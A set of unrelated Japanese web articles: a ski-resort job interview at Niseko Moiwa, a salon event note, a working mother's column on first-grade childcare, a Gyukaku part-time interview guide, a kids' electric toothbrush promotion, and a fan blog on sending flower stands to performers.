okamoto : 事の発端は、友人の山本くんと飲んだ日(ハイボールで記憶が飛んじゃった日)ですね。元々ゲレンデの仕事に興味はあったし、行ってみたい気持ちはありました。けど、真剣に考えたことは無くて、自分は行く側の人間ではないっていう風に思っていたんですよね。なので、山本くんやモロさんにプッシュされたのは大きかったです。
9月9日、きっかけの夜
9月19日、緊張の面接
moro : 今回の決断を聞いたときは嬉しかったよ!僕は以前から「モイワに行ってみない?」って声をかけていたんだよね。自分も20代の頃、当時のMOJANE中島店長にモイワの仕事を紹介してもらって、本当にいい経験が出来たから。タイプ的にも岡本君なら合っているし、面白いんじゃないかと思って。スノーボーダーにとって”冬山に籠る”っていうのは、期待と魅力に満ちた世界なんだよね。20代も後半、転職もキャリアのうちとはいえ勇気がいる事だったと思うんだけど、何が背中を押したのかな。
okamoto : そういう山の暮らしに憧れもあって、良いなって思う反面、今の仕事や生活に区切りをつけるリスクばっかりを考えてしまっていました。言うだけで終わるとも思っていたんです。でも、人と接するサービス業をしたいなっていう気持ちはずっとありました。決定的だったのは「スノーボードに向き合える環境は、自分で選んで作っていかなきゃならない」っていうモロさんの話が妙に腹に落ちたというか。ただ遊びに行くんじゃなくて、どんな時間を何処でどう過ごすか。特にモイワは良い意味で未開拓エリアだし、まだまだチャンスがある。色んな要素がかみ合って、チャレンジしようと決めました。
moro : 採用決定後、会社に辞表を提出してからご両親に報告したそうだけど、どんな反応だった?
okamoto : 親には、全部決まってから言おうと思っていました。案の定、母は心配していましたけど、怒るだろうと予想していた父が意外にドライで、ハイボール片手に「あ、そ。」みたいな感じでした。身構えていた分拍子抜けでしたが、父なりの応援だと解釈しています。
モイワ流、風変わりな面接
moro : 今回は、こうした取材の企画をモイワ支配人の吉村さんが快諾して下さったという経緯もあって、面接に僕も同行しました。面接会場はゲレンデの麓にあるLODGE MOIWA834。モイワでは、宿泊施設やゲレンデ、なんでもこなせる積極的な人材が求められているようだったけど、面接の感想は?シティボーイが来た!って高評価だったよね(笑)。
okamoto : 面接?いや、してないです(笑)。自己紹介した途端に「どうやったらお客さん来るかな」みたいな会議になっちゃったので、あれは僕の知っている面接ではなかったです。これまで自分がやってきたような、ガチっと型にはまった中で行う仕事ではないんだなっていうのを実感しました。色んなギャップもありますけど、良い意味で自由に見えました。
GOPRO越しに見守る友人の山本君
雪山での新生活に向けて
moro : ゲレンデは天候や集客、トラブルにも左右されるし、常に臨機応変な対応が求められる職場だから、いわゆる会社的な動きとは違った働き方になるよね。既に寮や職場の下見をしてきたそうだけど、実際の印象はどうだった?コンビニやスーパーも近くには無いし、街とは全く違う生活が待っているけれど、想像できた?
okamoto : 職場も寮も新しくて綺麗でしたね。設備的にも整っているな、という印象でした。寮にはキッチンや冷蔵庫、洗濯機、電子レンジ等、生活に必要なものは揃っていましたが、周辺には温泉しかないですからね。滑りに行った事はありますけど、生活っていう意味では、まだイメージできていないです。
moro : いよいよ11月1日から仕事が始まるという事だけど、どんな準備をしている?生活面、仕事面、スノーボード面、不安なことはありますか?
okamoto : 板はもちろんMOJANEで準備しますけど(笑)。スノーボードのメンテナンスやコンディションについて、もっと知りたいなと思っています。今は身の回り品と最低限のライフラインを確保するグッズを用意しようっていう感じです。とりあえずヤカン1個あればなんとかなるだろうし、もともと料理はしないので、食事は食べれる場所でお世話になろうかなっていうところです。あと、「ぅお!」って思ったのは、寮が2人部屋だったという事です(笑)。二段ベッドだったので、プライベートも丸裸なんだなっていう…。まぁ、逆にそのくらいの方が思い切って行けるかもしれませんね。どんな人が相部屋になるのか、日本人か外国人かもわからないけど、コミュニケーションは積極的に行こうと思ってます。
目標は特大マッシュでダブルバックです
moro : スノーボードが目的だとは思うけど、ニセコにどんなことを期待して、どんな時間を過ごしたいですか?
okamoto : ちょっと恥ずかしいんですけど、自分の中でまだ目覚めていない何かが”ポンッ”と弾けないかなって思っているんです。これまで生きてきた中で「俺はこんなんじゃない感」があるんですよね(笑)。思ってても言えない、言わない、みたいな今までの自分をガラッと変えたいんです。環境だけに依存しないで、自分を出していきたいなって思っています。
思い立ったが吉日、決断から10日足らずでニセコへの扉が開かれた岡本君。その背景には「自分を越えたい!」という熱い気持ちがありました。明るく、コミュニケーション能力に長けた彼なら、素晴らしい経験が出来ると期待しています。今シーズンは岡本君によるモイワゲレンデ情報の配信も実現するかもしれません。
ニセコモイワのお仕事事情
僕、諸橋も2004年の冬にニセコモイワ(旧ラポンテ)で働いたスノーリゾート経験者の1人です。20代前半だった僕は、現在モイワの総支配人を務める吉村政哉さん監督の下、リフトやペンションとゲレンデ間の送迎を担当しました。
当時のニセコは、ちょうど海外からの滞在者が増えてきた頃。今ほど外国人は多くありませんでしたが、英語を活かせる仕事がしたかった僕にとって貴重な経験を積むことが出来ました。吉村さんをはじめ、OFFSHORE SNOWSHAPESを設立したジョシュ、リチャードと出会ったのもこの頃です。今、こうして僕がスノーボードに携わる仕事を続けられている事も、ニセコでの出会いや経験が大きく影響しています。
現在のモイワはどういった様子なのか、吉村さんに募集要項や職場環境、スタッフの暮らしについて伺いました。
左:MOIWA SKI RESORT支配人吉村さん/右:PR&マーケティング畑さん
INTERVIEW ニセコモイワ支配人吉村 政哉さん
moro : ニセコモイワの魅力を教えてください。
yoshimura : 北海道全般に言えることですが、雪質がとても良い。加えてニセコは降雪量が多いため、海外からのお客様でもノートラックパウダーを狙える可能性が高いです。
moro : 冬季のニセコモイワでは何人くらいのスタッフが働いていますか?どんな職場ですか?
yoshimura : 社員は宿泊施設のスタッフ含めて10人程の小さな組織です。ほとんど社員がニセコ町在住で、地域に根付いて生活していますが、ニセコ町出身者はおりません。風通しの良い職場であってほしいと思っています。また、近い将来大規模な開発を控えているので、変化に素早く対応できるような組織であってほしいと思っています。
moro : 各国から集まるスタッフはどんな体験・経験をしていますか?
yoshimura : スキー場ではオーストラリア出身者が1名、The Lodge Moiwa 834ではタイ、イギリス、フランス、イスラエルなど多様な国から働きに来ています。どんな経験をするかは人それぞれ様々だと思いますが、スノーシーズンはリピートするスタッフも多いのでそこそこ居心地がいいのかもしれません。
moro : 日本人スタッフと外国人スタッフの割合はどのくらいですか?
yoshimura : スキー場はほとんど日本人、宿泊施設は半分くらい外国人です。
moro : ニセコモイワでの仕事内容はどんなものがありますか?
yoshimura : スキー場【券売/レストラン、カフェ/リフト係/パトロール/圧雪/スクール/レンタル/ショップ】The Lodge Moiwa 834【宿泊施設運営全般/レストラン】といった業務内容です。
moro : 英語が出来ないと働けないのでは?と考えている人も多いと思うのですが…。
yoshimura : 英語はもちろん話せたほうがいいと思いますが、絶対ではありません。お客様とのコミュニケーションを拒否しなければモイワでは問題ありません。大事なのはゲストのことを考え、伝える努力を惜しまないことだと思います。
moro : どんな人材を募集していますか?年齢層や経験等も条件があれば教えてください。
yoshimura : 年齢、経験は問いません。チームで仲良くやっていける人を募集しています。
moro : 長い間モイワを統括し、多くのスタッフを育ててきた吉村さんですが、記憶に残るシーズンや出来事はありますか?
yoshimura : スタッフを育ててきた、とは全く思っていません。むしろ年長の冬季スタッフのおじさんに教えられ、支えられ、何とか凌いできたという感じです。
moro : スキーヤー・スノーボーダーにとっては、目の前に上質な雪があるというだけで魅力的な職場だと言えますが、他にも特典はありますか?
yoshimura : モイワで滑りたいと思うならモイワで働かないほうがいいと思います。スキー場は基本リフトがついている公園だと思っています。人を遊ばせる公園で働けるということは非常に貴重な経験だと思います。近くの温泉に入れるとか、休日にはモイワや他のニセコのスキー場、キロロも滑れます。
moro : スタッフの居住環境はどうでしょうか。やはり車がないとニセコの生活は厳しいでしょうか?
yoshimura : スタッフ寮としてアパートがありますが2名で1室です。楽しくやってもらえることを願っています。車がないスタッフの為に、買い出しに行くために週に1回ほどスタッフ送迎バスを出しています。
moro : 冬季スタッフの募集期間は例年いつ頃から始まるのでしょうか?また、何名程度の募集がありますか?
yoshimura : 通年でスカウトはしていますが、求人を出すのは9月頃からです。
moro : 具体的な質問になりますが、おおまかな雇用条件や待遇について聞かせてもらえますか?
yoshimura : 時給1000円からで基本的に週休2日制です。寮費は1カ月15000円。精勤手当あり。交通費支給。
moro : やってみたいけれど不安だなと二の足を踏んでいる人も多いと思います。迷っている人にメッセージをお願いします。
yoshimura : モイワで働くことに給料は抜きにしても損は無いと思っています。
ニセコモイワで働きたいと考えている人へ
見渡す限り英語だらけ。日本に居ながらにしてこの環境で過ごせることは、とても面白い体験になると思います。ニセコモイワのシーズンスタッフの募集は、例年9月頃から始まります。ニセコエリアの中でも比較的日本人スタッフが多く、落ち着いた雰囲気が特徴です。雇用条件や仕事内容は多種多様、熱意があれば言葉の壁も越えていけると思います。逆観光がてら、異文化体験をしに、留学気分で、ニセコ特有の雰囲気を楽しんでみてはいかがでしょうか。


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text:
2017年11月6日(月)、ワールドセラピー協会®サロンにて、「Marmaid Bodywork at my salon」が開催されました。
素敵なお姿と、笑顔が今でも忘れられません。
摩紀さん、朋子さん、ありがとうございました。
今週一週間は、サロンをマーメイドボディワークのためにオープンにしており、今回のメニューには、椅子に座っての上半身のエクササイズを、よりセクシーに魅せる動きとして、最初に取り入れて行います。
みなさんもお二人のように、心も体も美しいマーメイドになっていただけますように。
これからも、みなさんに支えられながら、感謝の気持ちと共に進んでいきたいと思っています。
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text:
2. 【実体験】入学前の苦労
3. 小学校に入って変化した生活リズム
4. 在宅でよかったこと・大変だなと思ったこと
5. 通勤ママたちの苦労
6. 今後の我が家の小1とのかかわり方
7. 「共働き世帯」を支える社会を目指して
1.そもそも「小1の壁」とは
「小1の壁」とは共働き世帯を中心に、保育園から小学校に上がる際に直面する問題のことをいいます。保育園は延長保育が遅い時間までにある、土曜日も預かってくれるなど、働く親にとって比較的快適な環境が用意されています。
小学校に上がると保育園から学童保育へ切り替わりますが、保育園よりも預かり時間が短い、土曜日の預かりがないというところが多く、親が帰宅するまで1人で過ごさなければならなくなります。
また、子どもが小学校に上がると時短勤務ではなくなる企業も多いため、子どもだけでなく親も生活リズムが大きく変化することも。
働き方や子どもの生活が大きく変化するこの時期は、親にとっても子どもにとっても乗り越えるべき「壁」が多いといえます。
2.【実体験】入学前の苦労
私の住んでいる地域はやや特殊な制度があり、年長になると多くの子どもが小学校に附属する幼稚園に通います。公立幼稚園ですが、年長は延長保育を実施しており、夏休みも預かってくれるので、保育園とほぼ変わらないリズムを保つことができます。
しかし、卒園式後から小学校の入学式までは預かり先がなく、およそ2週間は自宅で過ごさなければいけません。私自身は在宅勤務のため預け先がないことによる苦労は他のママに比べれば少ないほうでしたが、それでも通常なら仕事をするはずの時間に長男の相手をしなければいけないのは大変でした。
3.小学校に入って変化した生活リズム
小学校に入学してからの生活リズムの変化が大きいのは、やはり午後です。朝は幼稚園の頃から小学生たちと集団で登園していたので、起床時間や出発時間に大きな変化はありませんでした。6時過ぎに起床、7時20分に家を出て近所の小学生たちと徒歩で学校へ行きます。
1年生は4時間授業が基本で、初週は給食を食べたらすぐに下校。14時過ぎには帰宅していました。学校まで迎えに行き一緒に歩いてくる保護者の方もいらっしゃいましたが、我が家は自宅付近で帰りを待ちました。
下校時間は徐々に遅くなり、現在は14時5分に学校を出発。14時半過ぎに自宅に着くというリズムになっています。保育園、幼稚園時代は16時に迎えに行っていたので、2時間近く帰宅時間が早くなりました。
4.在宅でよかったこと・大変だなと思ったこと
在宅ワークをしていてよかったと思ったことは、帰宅した長男を迎えられることです。学童保育はあるものの、「下校指導」という名目で入学式の翌日から1週間は利用ができず、一斉下校で帰らなければなりません。
何時に帰宅しても自身が在宅しているというのは、私にとっても長男にとっても安心だと思います。
当初は下校指導が終わったら学童保育に行ってもらおうと思っていましたが、帰宅して翌日の準備や宿題を済ませ、おやつを食べながらテレビを見て1人で過ごしてくれるので、学童保育に行かなくてもよさそうだなと思ったのも、小学校に入ってからわかったことでした。
1人でいてくれるので私は仕事に戻れますが、やはり帰宅からさまざまなタスクをこなすまで一緒に過ごす必要があるのは、これまでにない苦労だと感じています。たったの20分、30分のことですが仕事に集中しているのを中断してしまうと、再度同じ集中力を取り戻すのは難しいものです。
また下校班は1年生だけで、最大10数人、最少2人。仲のよいお友達と帰宅するのは本人にとっては嬉しいことかもしれませんが、親の目の届かない場所で何かあったら、と思いながら帰宅を待つのは気持ち的に落ち着かないこともあります。
5.通勤ママたちの苦労
通勤するママたちは、在宅の私よりも大きな「壁」に直面しています。話は戻りますが、卒園から入学までのあいだ、ママたちは有休を使ったりパートを休んだり、それもできないときには祖父母の力も借りながら子どもたちの休みを乗り切りました。
入学後も前述の通り「下校指導」があったため、学童保育の利用を開始するまではさまざまなやりくりをしながら乗り切っていたようです。
新年度は子どもだけでなく、親の環境にも変化が生じることもあります。新入社員が入ってくる、部署が変わるといった新たな環境のなか、子どもの生活や心の変化にも合わせていかなければいけないのは、苦労やストレスを伴うのではないでしょうか。
学童保育が始まってからも、宿題の丸つけ、音読のチェックなど幼稚園の頃にはなかったタスクを帰宅後にこなさなければいけないため、たった数分のことかもしれませんが働くママへの負担は保育園・幼稚園時代よりも増えているといえます。
6.今後の我が家の小1とのかかわり方
小学校に入学してまだ1ヵ月ですが、長男も私も、徐々に生活のリズムをつかめつつあります。長男とも話し合った結果、今後も学童保育は「利用しない」という方向で話を進めています。
実際、徒歩で帰宅してくれれば夕方車を出して小学校へ迎えに行く手間は省けますし、月数千円の利用料もかかりません。次男もおらず、1人で自由にすごせる時間を確保できるのは、長男の精神的なゆとりにもつながるのではないかと思っています。
帰宅後の過ごし方についても試行錯誤をしながら、「とりあえずおやつを食べてゲームやテレビなど自由な時間を過ごし、次男が帰宅したら一緒に翌日の準備や宿題、ピアノの練習などをする」という流れが定着しつつあります。やるべきことをまとめて済ませられると私も助かりますし、次男も勉強したり自分のことを自分でしたりすることを覚えられるのでよいのではないかなと感じています。
ちなみに、夏休みは1日じゅう家にいるわけにもいかないので学童保育に行ってもらう予定です。昨年も経験した早朝のラジオ体操とお弁当作りから始まる夏休みは、これまでで最も長く感じる1ヵ月で、今年もきっと苦労の絶えない1ヵ月だろうなと既に憂鬱な気持ちもありますが、頑張って乗り切ろうと思っています。
7.「共働き世帯」を支える社会を目指して
地域や自治体によって、子育て世帯へのサポートは異なります。私の住んでいる地域はサポートが手厚い部分も多くありますが、「共働き世帯」への配慮に欠ける部分がまだまだ多いなと感じます。
春休みに子どもを預かってもらえない、半ば強制的な「下校指導」の存在は、田舎特有の「祖父母が同居、もしくは近距離」という考え方からきているものです。祖父母が遠方にいる場合の預け先などもなく、自宅で子どもを見てくれるシッターサービスもほぼないといえるなか、ママ友の1人は片道2時間ほどかかる場所に住む祖父母の力を借りて、この状況を乗り切ったようです。
「預け先のない家庭はどうすればよいか」といったことを考え、働く親が安心して仕事に行ける環境を作っていくことは、今後の我が地域の課題だといえます。他の地域でもさまざまな問題・課題があるかと思いますが、共働き世帯が増加するなか、親にとっても子どもたちにとっても助かるサポートや制度を、整えていっていただければ幸いです。
ドキドキしながら迎えた長男の小学校入学でしたが、我が家は「在宅」の強みを生かし、よい形で乗り越えていけそうです。仕事と家庭の両立は、多くの働くママが頭を抱える問題の1つでしょうが、それぞれのご家庭でベストな答えを見つけられるとよいなと思っています。
「小1の壁」を乗り越えた先輩ママさん、そしてこれから大きな「壁」を超えていかなければならないママさんたちも、日々成長する子どもたちと向き合いながら、自身もキャリアアップやスキルアップをしていくのによりよい方法や環境をみつけられるとよいですね。
フリーランス 子育て 小1の壁 在宅
大学・大学院にて日本語学を専攻。日本語学校での非常勤講師を経て、2018年よりライター業を開始。さまざまなメディアで記事を手がけながら「田舎の在宅ママライター」として新たな働き方を確立すべく、日々育児に仕事に奮闘中。
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元日本語教員コラムvol.1|Uターンでわかった田舎子育てのメリット・デメリット
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text:
履歴書は必須です。稀に「履歴書不要」というお店もありますが、基本的には面接時に必要な書面です。前述した志望動機例を参考に、丁寧かつ正確に自身の思いを記入するようにしてください。
また、職歴については「嘘はつかずに正直に」書くことが大切です。
面接時にその場で書類記入を求められることがあるため、筆記用具は必ず持っていくようにします。ここで、捺印が必要になることもあるので、印鑑も準備しておくことが大切です。印鑑が必要な場合は事前に伝えられることが多いですが、「指示されなかったとしても」念のため常備するようにしてください。
なお、印鑑を求められたときの捺印はシャチハタ不可なので注意しましょう。
3.通帳、身分証明できるもの
バイト面接では、稀にその場で採用されることもあります。
この場合は、給料の振込先となる口座情報や運転免許証、保険証やマイナンバーカードなどがあるとスムーズです。そのため、これらを持ってバイト面接に挑んでも良いです。
牛角のバイト面接で【質問されること5つ】
ここで、牛角バイトの面接時に質問されることを予め理解しておきましょう。そうすれば、スムーズに回答することができます。
面接で聞かれること5つ
ホール・キッチンどちらを希望か
キッチンは洗い場スタート
出勤可能日数・長期間勤務可能か
1. ホール・キッチンどちらを希望か
WEB応募ですでに「○○希望」と記入してあれば別ですが、基本的には「ホール・キッチン」どちらを希望か確認されます。簡単に言えば、「ホールは接客実務」「キッチンは調理」であり、希望するほうを素直に伝えればOKです。
このときの理由として下記が参考になります。
ホール希望=接客が好き・お客様との会話が好き etc
キッチン希望=料理が好き・得意・将来、飲食店をやりたい etc
2.キッチンは洗い場スタート
「キッチンは洗い場からはじまる」のが基本であり、面接時に言われることでもあります。いきなり調理を任せるわけにはいかないからです。牛角に限らず、飲食店バイトのキッチン希望であれば必ずと言って良いほどそうなるので予め認識しておきましょう。
最初から重要な役割は任せられないため、逆に言えば安心です。
3.出勤可能日数・長期間勤務可能か
「週に何日出勤できるか」「長期間働ける環境にあるか」とも聞かれます。お店にとっては重要なことであり、できる限り多く出勤できて長く働ける人を採用したいからです。もし、職歴や志望動機の観点から同じ評価の2人がいた場合、この質問の回答によってどちらを採用するか判断されます。
例えば、週2日しか出勤できない人よりも3日働ける人、3ヵ月しか働けない人よりも長期間勤務可能な人のほうが採用率は高くなります。そのため、できる限り出勤数は多く出れると回答しつつ、長期間働けると伝えたほうが良いです。
ただ、そうは言っても無理をしたり嘘をついたりすればお店に迷惑をかけてしまうため、正直に答えることが大切です。
4.体力に自信はあるか
牛角でホール勤務になれば、フロアを長時間歩き回ったり下げモノや配膳をしたりするので体力を消耗します。キッチンであっても、重い鍋を運んだり長時間立ち仕事だったりと同様です。このため、「体力に自信はありますか」「立ち仕事をしたり重いものを運んだりしますが大丈夫ですか」と聞かれることがあります。
例えば、「運動部に所属していたので体力には自信があります」「体を使う仕事は好きなので大丈夫です」と答えられれば好印象です。一方で、体力に自信がない場合は素直に答えることも大切です。嘘をついても結果的についていけず、長続きしない可能性があるためです。
いずれにしても、極端に重いものを運ぶわけでなく先輩のサポートもあるため、極一般的な体力をもっていれば勤まるので安心してください。
「アルバイトで稼いだお金は何に使いますか」とも聞かれます。この質問には、「人柄を知りたい」「応募者のおかれている環境を知りたい」という面接官の意図があります。
例えば、「生活費の足しにするため」「学費を稼ぐため」などの理由であれば好印象です。目的が誠実なので、仕事も真面目に取り組んでくれる可能性が高いと判断されるためです。
また、「趣味に使うお金を稼ぎたい」「社会勉強をしたい」といった理由でもOKです。ただし、趣味が競艇や競馬などギャンブルでは間違いなく不採用になるので注意してください。
牛角のバイト面接に【落ちる人】特徴3つ
残念ながら、牛角バイトの面接に落ちる人はそれなりにいます。そこで、面接に落ちる人の特徴を解説します。
面接に落ちる人の特徴3つ
シフト条件が合わない・確認不足
服装に清潔感がない・適切でない
言葉遣いが悪い・声が小さい
1. シフト条件が合わない・確認不足
当たり前ですが、お店側の提示する「シフト条件」に合わなければ不採用になります。そもそも募集要項に条件は記されているため、面接の段階で希望に沿えなければ採用されるはずはありません。それにも関わらず、なぜかこうした理由で面接に落ちる人が一定数存在するため、注意してください。
求人内容をきちんと確認してから応募することが大切です。
2. 服装に清潔感がない・適切でない
牛角に限らず、飲食店は衛生面にとても厳しいです。そのため、服装に清潔感がない人はそれだけで悪印象となり面接に落ちることがあります。「ヨレヨレのTシャツ」「伸びた襟元」「派手な服装」などはマイナスでしかないので注意する必要があります。
もし、適当な服がわからなければ「スーツ」で面接に挑むのが無難です。
3. 言葉遣いが悪い・声が小さい
牛角バイトは接客業なので適切な「言葉遣い」が重要視されます。たとえキッチン希望であっても最低限の敬語は使える必要があります。その上で、「声の大きさ」「ハキハキした話し方」なども見られているわけです。
例えば、面接時の質疑応答のとき、まともに敬語が使えない応募者であれば到底接客など不可能と判断されてしまいます。声が小さければ同様に不安視されるでしょう。
「最低限のコミュニケーション能力はあるか」を言葉遣いや声の大きさなどで審査されているということです。


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text:
そんな毎日で、気づけば歯磨きのような「いつもの生活習慣」への意識はうすれがちだったかもしれません。反省…。
楽しみながら習慣づけるには、電動歯ブラシも効果的
改めて、子どもの歯磨きの大切さとポイントを、目黒歯科クリニック院長の伊藤公一先生にお聞きしました。「お口のケアは全身の健康に影響する」とのこと。これは大変です!
口の中には400〜700種類もの細菌がいて、ウイルスや悪い菌を防ぐ環境づくりをしているものの、オーラルケアを怠ると、むし歯や歯周病を引き起こし、病気になりやすい悪い環境に傾いてしまうのだそう。
「オーラルケアの定着は、口腔衛生を保つことにつながり、健康の鍵。うがい手洗い、そして歯磨き。この3つを新しい習慣として実践していただきたいですね」と伊藤先生。
とはいえ、歯磨きを嫌がる子は多いですし、徹底するのは大変。小さな子に適切な歯磨き習慣を身につけさせるには、どうすればいいのでしょう?
「3歳頃までは、歯ブラシをもたせて遊ばせながら、歯磨きが楽しいと教えて受け入れてもらうこと。その後は、仕上げ磨きを手伝いつつ、自分で挑戦させていきましょう」
伊藤先生によると、電動歯ブラシを取り入れるのも効果的だとか。
「適切に使えば、歯に当てるだけで効率よく磨けます。最近では小さな子どもでも楽しく使える製品が発売され、以前より身近になっていますよ」
なるほど、おもちゃ感覚でお気に入りの電動歯ブラシを使うとなれば、子どもも喜ぶはず! 仕上げ磨きに使うとしても、必死になだめすかしたり、押さえつけたりして手磨きするより、ずっと楽しく効果的に磨けそうですね。
毎日違うポケモンと一緒に♪ 楽しいのにしっかり磨ける電動歯ブラシ
そこでおすすめなのが、かわいいピカチュウ柄の電動歯ブラシ「すみずみクリーンキッズプレミアム」です。
子どもたちが楽しく歯磨き習慣を身に付けられるよう開発された電動歯ブラシシリーズの新商品。新しく搭載された「やわらか回転モード」は通常より回転数が少なく、乳歯もやさしく磨けます。小さなブラシとやわらかいブラシヘッドで、子どもの口や歯にぴったりフィットするので、歯に当てるだけで簡単にしっかり磨くことができるんです。
付属の「ポケモン特別デザインシール」を、ハンドルに貼ってカスタマイズするのも楽しそう!
「すみずみクリーンキッズプレミアムプラス」はカスタマイズ用のシール増量で、海外で使うこともできます(240Vまで)。
そして、さらに歯磨きを楽しくするのが、専用WEBサイト「ポケモンブラッシングマスター」。
ピカチュウのタイマーに合わせて歯磨きすると、隠れたポケモンが現れるというしかけ。毎回新しいポケモンが登場するので、「今日は何かな?」とワクワクしているうちに、しっかり磨けちゃいますね♪
2分間の歯磨きが終わるとハンドルが振動して教えてくれるので、適切な時間ブラッシングできます。
なかなか身につけさせるのが難しい生活習慣だって、楽しければ自然と実践できるようになるもの。親子で毎日楽しく歯磨きに取り組み、しっかりむし歯を防ぎましょう!
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text:
私は、大人数の参加型にも参加したことありますが、参加した結果、「個人で贈ろう」と思いました。
お祝い花(フラワースタンド)でのアピール方法
個人で贈った理由としては、参加型のお花は見た目も思ったより自分好みのフラワースタンドではなかったし、これでは推しにアピールできないと判断したからです。
そして、フラワースタンドはないよりある方がいいに決まってると思ったからです。
推しが参加しているイベントに、他に出演されているキャストの方が人気が明白だとしても、自分宛てのフラワースタンドがゼロだったり少なかったりしたら、寂しじゃないですか!
そんな寂しさは、私が埋めてあげよう!
という気持ちで贈りました。
そして、そのイベントに他のキャストの推し担当の友人が参加することが決め手でした。
3人で組んだら目立てる…!と思ったからです。
推しに対して個人でお花を贈ったのですが、同じデザインで色違いで他のキャストにも贈り、そのお花を並べてもらったのです。
※身バレ防止のために、ぼやかしてます、すみません。
黄色と青が友人で、赤が支払ったものです。
Aさん、Bさん、Cさんというように同じデザインで色違いのものを並べて贈りました。
スタンドフラワーって、同じものが並んでいるのって珍しくないですか?
私たちが贈ったスタンドフラワーは明らかに「計算して目立つように」したものでしたので、想定通り一番目立ったスタンドフラワーになっていました。
更にこだわったのが、「スタンド」の部分になります。
写真で見ると、一般的なスタンドフラワーより背が低く、小さい感じに見えると思いますが、目立った要因の一つとして「スタンド部分も色を変えてもらった」というところです。
お花のスタンド部分は、最近はアイアンとかオシャレなのが多くなっていますが、基本的に使いまわしなので、白や茶色、黒などが多いです。
下の写真みたいなのが一般的ですね。(写真は1段タイプで2段もあります。)
お花だけに拘らず、スタンドも加工してもらえたことにより、お花の存在感が増して、イベント会場で目立つことができました。
イベント会場では、たくさんのファンの方が写真を撮ってくれたり、お花についてるショップカードをチェックしてくれたりしているのを見て、嬉しかったですね。
追い打ちでアピールしよう
会場で目立つことはできました。(お花が)
他キャストと揃えたこともあり、キャスト同士でもお話してくれたりしたんだろうな~と想像したり。
お花自体は宅物になるので、配送伝票が発生します。
配送伝票には自分の名前などが書かれ、お相手の方に届きます。
まずここで、自分が贈ったとアピール出来るわけです。
この配送伝票が、スタンドフラワーを個人で送るのにいいメリットではないかと思います。
参加型では出来ないことです。
イベント会場では、このお花を自分でも撮影し、後日イベントの感想を述べたお手紙を送る際に、このお花の写真も同封しましょう。
そうすることによって、イベント時から忘れていたであろう記憶が、推しによみがえるでしょうし、「この子が贈ってくれたんだ」と思ってもらえます。
イベント会場でアピールして、更に印象付けることがイベント後にもできるのが、個人でフラワースタンドをプレゼントする最大のメリットだと思います。
フラスタは高い…という人にはフラワーアレンジメントとバルーン
フラワースタンドは金額が張るものとなりますので、贈りたい!と思って実行できるものではありません。
そんな場合、個人でもフラスタよりは気軽に贈れるのが「フラワーアレンジメント」と「バルーン」の二つになります。
手軽にお花を贈りたい人向けは「フラワーアレンジメント」
「フラワーアレンジメント」は、スタンド型ではなく、持ち運び可能というか、こじんまりしたフラワーギフトです。(上の画像みたいなやつ)
フラスタよりも用途は幅広く、お友達の誕生日とか、歓送迎会とかでも贈れるプレゼントになります。
お祝い事だけじゃなくて、お悔やみ・お供えにもアレンジしていただけるお花です。
イベントの場合は、ロビーの階段やロビーの机などに箱とかカゴに入っている小さいお花が飾られているのを見たことありませんか?それになります。
フラスタは1体2万円以上からというところが多いですが、フラワーアレンジメントの場合は安いと3000円~作成いただけることもあります。
実際、花束とかお花屋さんにお願いすることがあるじゃないですか。花束が独立してかざれられる(そのまま飾れる)といった感じでしょうか。
フラスタに比べると非常に手軽に贈ることが出来ます。
【フジテレビフラワーネット】さんは、約1800店の全国のお花屋さんが加盟しており、加盟店のお花屋さんが送料無料で届けてくださいます。
本当に種類も多くてサイト見てるだけでどれにしよ~!って迷ってしまいます!
シチュエーションやお花から選ぶということもできるので、イメージにあるお花も見つけやすいのではないかな?とい思います。
また、メッセージやお花に付ける札にも対応いただけますし、何より国内トップクラスのフラワーデザイナーとも提携してくれているので、様々なアレンジメントを作成いただけます。
デザインや大きさによって価格は異なりますが、フラスタよりも手軽に贈ることができるので、一度検討してみてはいかがでしょうか?
お花じゃないけど派手なものを贈りたい人は「オーダーメイドバルーン」
オーダーメイドバルーンて何?って思うかもしれませんが、これも最近イベント会場で見かけます。(上の写真みたいなイメージ)
よく見かけるのは、お花+バルーンの組み合わせかもしれませんが、こちらは「バルーン」のみです。
昔はお祝いというとお花というのが一般的でしたが、最近ぱパーティーや会場装飾にバルーンを使用するところも多くなっています。
バルーンて、めっちゃインスタ映えするんですよね。
バルーンもアレンジメントフラワーと同じようにテーブルなどに置く小さいブーケタイプのものからスタンド型まで様々な形を用意していただけています。
ブーケタイプは5,000円前後~、スタンドタイプも10,000円前後からと個人でも贈れる価格帯があります。
「Balloon Kitchen 」さんは、名入れが可能なオーダーメイドバルーンで、結婚式・電報/プロポーズや誕生日・開店/開院祝い・出演祝いなど、幅広いニーズに対応してくださっています。
何より作成されているバルーンが超かわいい!!!めっちゃ華やかで本気でインスタ映えになる!HAPPY感強いんですよ。
お花ではなくお祝い感強めに出されたい方は、オーバーメイドバルーンを選択するというのも一つの手だと思いますよ!
フラスタを贈るときのまとめ。
フラワースタンドを贈るということは、気軽に出来ることではありませんが、とっておきのイベントがある場合は、ただ贈るだけではなく、戦略立てて贈ることを推奨します。
お安いものではないので、その分のアピールはしっかりしたいですからね!!!
もちろん、お祝い事であることに、最近はフラワースタンドでなくては駄目ということもないので、フラワーアレンジメントやバルーンを選択して金銭面を軽くするという事も大切です。
お金がなくなってイベントに行けないとかになったら元も子もないですからね。
フラスタ(その他も)を会場に送る場合は、ちゃんとイベント運営の注意事項を読んで贈ることも大切です。
せっかく高い贈り物なのですから、無駄にせず、キッチリしっかり贈りましょう!
それでは、また!(*´w`*)
最後までお読みいただき、ありがとうございました。
Let’s enjoy 追っかけ LIFE!
アイドル お気に入り スタンドフラワー プレゼント 俳優 声優
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POSTED COMMENT
2017年2月12日 3:03 PM
はじめまして!以前、こちらのマイクロトフ様のブログを拝見して以来、とても興味深い内容でハマってしまいました!!
私はソーシャルミュージックシーンで活躍中の某アーティストさんが大好きで、マイクロトフ様の追っかけ術やお気に入り術がとても勉強になり、時には共感したり自分に置き換えたりしております(*^^*)
追っかけ、と言えるほど追っかけることはできていないのですが、私なりに覚えてもらえるようにかなり努力をし、初めて生でお会いしてから約10ヶ月ほどで認知されるようになりました。その努力が、ジャンルは違えどマイクロトフ様の追っかけ術やお気に入り術と少し似ていたものだったので、なんだか親近感が湧いてしまって……(笑)
今回、初めてコメントさせていただきます!m(_ _)m
フラワースタンドですが、私も贈ろうと思ったことあります!!!昨年、そのアーティストさんの初のワンマンライブがあったので、その時に贈ろうとしました。もちろん、②で!(笑)
